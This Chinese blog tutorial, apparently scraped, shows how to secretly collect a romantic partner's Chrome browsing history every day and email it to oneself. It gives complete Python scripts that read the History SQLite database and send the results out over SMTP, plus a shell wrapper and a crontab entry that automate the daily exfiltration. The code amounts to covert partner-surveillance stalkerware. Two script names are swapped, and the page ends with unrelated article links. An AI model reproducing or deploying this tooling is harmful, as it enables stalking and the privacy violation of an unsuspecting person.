清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录
前言
本文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。
需求:
(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中
(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)
(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了
准备
macOS Sierra
Python3.6
Chrome
发送邮件的qq邮箱地址
qq邮箱授权码
SMTP服务器地址 : smtp.qq.com
接受邮件的邮箱地址
执行:
(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成
从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中
(2) get_history.py:
# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse
# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()
# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址
#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()
# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))
# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
# 设置附件的MIME和文件名,这里是py类型:
mime = MIMEBase('result', 'txt', filename='result.txt')
# 加上必要的头信息:
mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
mime.add_header('Content-ID', '<0>')
mime.add_header('X-Attachment-Id', '0')
# 把附件的内容读进来:
mime.set_payload(f.read())
# 用Base64编码:
encoders.encode_base64(mime)
# 添加到MIMEMultipart:
msg.attach(mime)
#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()
通过这个脚本,我们可以把url和访问时间提取出来,并且存储在
result.txt中,下图就是我得到的部分结果
(3) send_email.py:
# -*- coding: utf-8 -*-
import sqlite3
#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()
# 2.选取我们想要的网址和访问时间
try:
select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
cursor.execute(select_statement)
except sqlite3.OperationalError:
print("[!] The database is locked! Please exit Chrome and run the script again.")
quit()
# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
for i in range(len(results)):
f.write(results[i][1]+'\n')
f.write(results[i][0]+'\n')
通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地
址,下图是我得到的部分结果
(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚
本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。
cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt
这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了
注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径
(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱
使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了
20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh
说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。
重要的事再说一遍,一定要写绝对路径!!
清空网站浏览记录就行啦?看Python如何实时监控网站浏览记录的更多相关文章
- Zabbix监控Low level discovery实时监控网站URL状态
今天我们来聊一聊Low level discovery这个功能,我们为什么要用到loe level discovery这个功能呢? 很多时候,在使用zabbix监控一些东西,需要对类似于Itens进行 ...
- Check Host:实时监控网站或者服务器是否可以访问
如果你拥有一个网站,那么最重要的事情就是要保证它24小时都能够访问.不过国内的虚拟主机服务非常糟糕,经常会出现各种状况,所以我们需要一个软件,可以让我们第一时间知道网站出现了无法访问的情况,从而通知售 ...
- Netdata---Linux系统性能实时监控平台部署记录
通常来说,作为一个Linux的SA,很有必要掌握一个专门的系统监控工具,以便能随时了解系统资源的占用情况.下面就介绍下一款Linux性能实时监测工具-Netdata,它是Linux系统实时性能监测工具 ...
- rlwrap: command not found和解决linux下sqlplus 提供浏览历史命令行的功能
rlwrap工具可以解决linux下sqlplus 提供浏览历史命令行的功能,和删除先前输入错误的字母等问题 1.安装 需要readline包 这个安装光盘就有 [root@asm RedHat]# ...
- MYSQL获得查询记录的行号
对于获得查询记录的行号这一功能,Oracle 中可以使用标准方法(8i版本以上),也可以使用非标准的ROWNUM,MS SQL Server 则在 2005 版本中提供了ROW_NUMBER()函数. ...
- 如何在IIS上发布网站 在阿里云服务器windows server2012r iis上部署.net网站
如何在IIS上发布网站 本片博客记录一下怎么用IIS发布一个网站,以我自己电脑上一个已经开发完成的网站为例: 1.打开项目 这是我电脑上的一个项目,现在我记录一下将这个项目发布到iis上的整个过程 ...
- 利用wget 和 curl 监控网站是否正常
监控网站URL是否正常最常见的方法莫过于wget和curl命令了,这两个命令都是非常强大,参数也非常多,下面列举几个常用的参数. wget 常用命令参数:--spider ...
- 如何监控网站URL是否正常?
监控网站URL是否正常最常见的方法莫过于wget和curl命令了,这两个命令都是非常强大的,强大到网友查看帮助都无从选择的地步了,今天呢,老男孩老师正好录制Shell编程实战课程,因此,顺便总结了一下 ...
- 监控网站是否异常的shell脚本
本节内容:shell脚本监控网站是否异常,如有异常就自动发邮件通知管理员. 脚本检测流程,如下:1,检查网站返回的http_code是否等于200,如不是200视为异常.2,检查网站的访问时间,超过M ...
随机推荐
- 用struts的action运行jsp页面
struts是开源框架.使用Struts的目的是为了帮助我们减少在运用MVC设计模型来开发Web应用的时间.如果我们想混合使用Servlets和JSP的优点来建立可扩展的应用,struts是一个不错的 ...
- 蒲公英 · JELLY技术周刊 Vol.10 为什么你还不使用 TypeScript
登高远眺 天高地迥,觉宇宙之无穷 基础技术 直播延迟?为什么流媒体直播的延迟那么高 随着通信技术的发展,视频点播.直播业务也逐渐兴起.在这些业务形态中,流媒体技术扮演着重要的角色.但在实际使用中,即便 ...
- 常见的几种java排序算法
一.分类: 1)插入排序(直接插入排序.希尔排序) 2)交换排序(冒泡排序.快速排序) 3)选择排序(直接选择排序.堆排序) 4)归并排序 5)分配排序(基数排序) 所需辅助空间最多:归并排序 所需辅 ...
- 【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean
写在前面 在上一篇关于Spring的@Import注解的文章<[Spring注解驱动开发]使用@Import注解给容器中快速导入一个组件>中,我们简单介绍了如何使用@Import注解给容器 ...
- 如何在centos7安装dnf软件包
想在自己的笔记本CentOS7上安装dnf玩玩儿,但是根据百度出来的方法没有成功. yum install epel-release -y yum install dnf 现在将解决办法转载过来,如下 ...
- LR字符串处理函数-lr_save_datetime
void lr_save_datetime(const char *format, int offset, const char *name); 中文解释: lr_save_datetime将当前日期 ...
- [经验栈]C#监测IPv4v6网速及流量
1.前言 最近做项目需要用到监测网速及流量,我经过百度和墙内谷歌都没能快速发现监测IPV6流量和网速的用例:也经过自己的一番查询和调试,浪费了不少时间,现在作为经验分享出来希望大家指正. 2.C# ...
- mapper.xml文件映射配置
一.导入约束 为全局配置文件绑定dtd约束: 1)联网会自动绑定 2)没网的时候[/org/apache/ibatis/builder/xml/mybatis-3-mapper.dtd]:解压myba ...
- MySQL的使用方法和视图、索引、以及存储过程的一些简单方法
一,基本概念 1, 常用的两种引擎: (1) InnoDB a,支持ACID,简单地说就是支持事务完整性.一致性: b,支持行锁,以及类似ORACLE的一 ...
- excel如何快速汇总多个类别的总和?
这个需求是一位在当前抗疫一线的朋友提出的,和各位分享一下. 需求情况 因为众所周知的原因,他每天都需要为照顾的小区居民购买.运送生活物资.小区居民通过表单的形式提交自己每日的需求,最终汇总到一张exc ...